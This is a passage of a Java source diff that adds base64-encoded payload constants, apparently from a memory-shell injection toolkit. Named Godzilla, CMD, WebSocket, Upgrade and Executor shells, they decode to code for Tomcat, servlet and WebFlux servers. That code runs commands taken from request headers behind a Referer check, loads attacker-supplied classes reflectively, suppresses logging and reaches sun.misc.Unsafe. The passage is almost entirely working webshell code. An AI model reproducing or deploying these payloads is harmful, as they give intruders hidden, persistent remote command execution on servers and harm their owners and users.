UFycmF5KCksIHRydWUpKSk7DQoJCQkJCXJlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; + + public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String GODZILLA_RAW_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJYnl0ZVtdIGRhdGEgPSBuZXcgYnl0ZVtJbnRlZ2VyLnBhcnNlSW50KHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpKV07DQogICAgICAgICAgICAJamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsNCgkJCQlpbnQgX251bSA9IDA7DQogICAgICAgICAgICAJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7DQoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwpIHsNCgkJCQkJamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgdXJsQ2xhc3NMb2FkZXIgPSBuZXcgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIobmV3IGphdmEubmV0LlVSTFswXSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOw0KCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7DQoJCQkJCWYuZXF1YWxzKGFyck91dCk7DQoJCQkJCWYuZXF1YWxzKGRhdGEpOw0KCQkJCQlmLnRvU3RyaW5nKCk7DQoJCQkJCXJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0="; + + public static String CMD_SHELL_FOR_TOMCAT = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCU9iamVjdCBsYXN0UmVzcG9uc2UgPSByZXNwb25zZTsNCg0KCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShyZXNwb25zZSxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlub0xvZyhyZXF1ZXN0KTsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQkoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlKSBsYXN0UmVzcG9uc2UpLmdldFdyaXRlcigpLnByaW50bG4oZXhlY0NtZChjbWQpKTsNCgkJfQ0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJfQ0KfQ=="; + + public static String CMD_SHELL = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS5wcmludGxuKGV4ZWNDbWQoY21kKSk7DQoJCX0NCgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCX0NCn0="; + + public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String UPGRADE_SHELL = "ew0KCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IHJlcXVlc3QgPSAkMTsNCg0KCQl0cnkgew0KCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgY29tbWFuZCAgPSByZXF1ZXN0LmdldEhlYWRlcigiUUk0TCIpOw0KCQkJb3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UgcmVzcG9uc2UgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UpIGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlc3BvbnNlIik7DQoJCQlyZXNwb25zZS5kb1dyaXRlKGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChleGVjQ21kKGNvbW1hbmQpLnRvQnl0ZUFycmF5KCkpKTsNCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KDQoJCXJldHVybiBmYWxzZTsNCgl9"; + + public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; + + // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 + public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; + + // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode + public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; + + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // base64Decode + public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKGJ5dGVbXSkgZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFt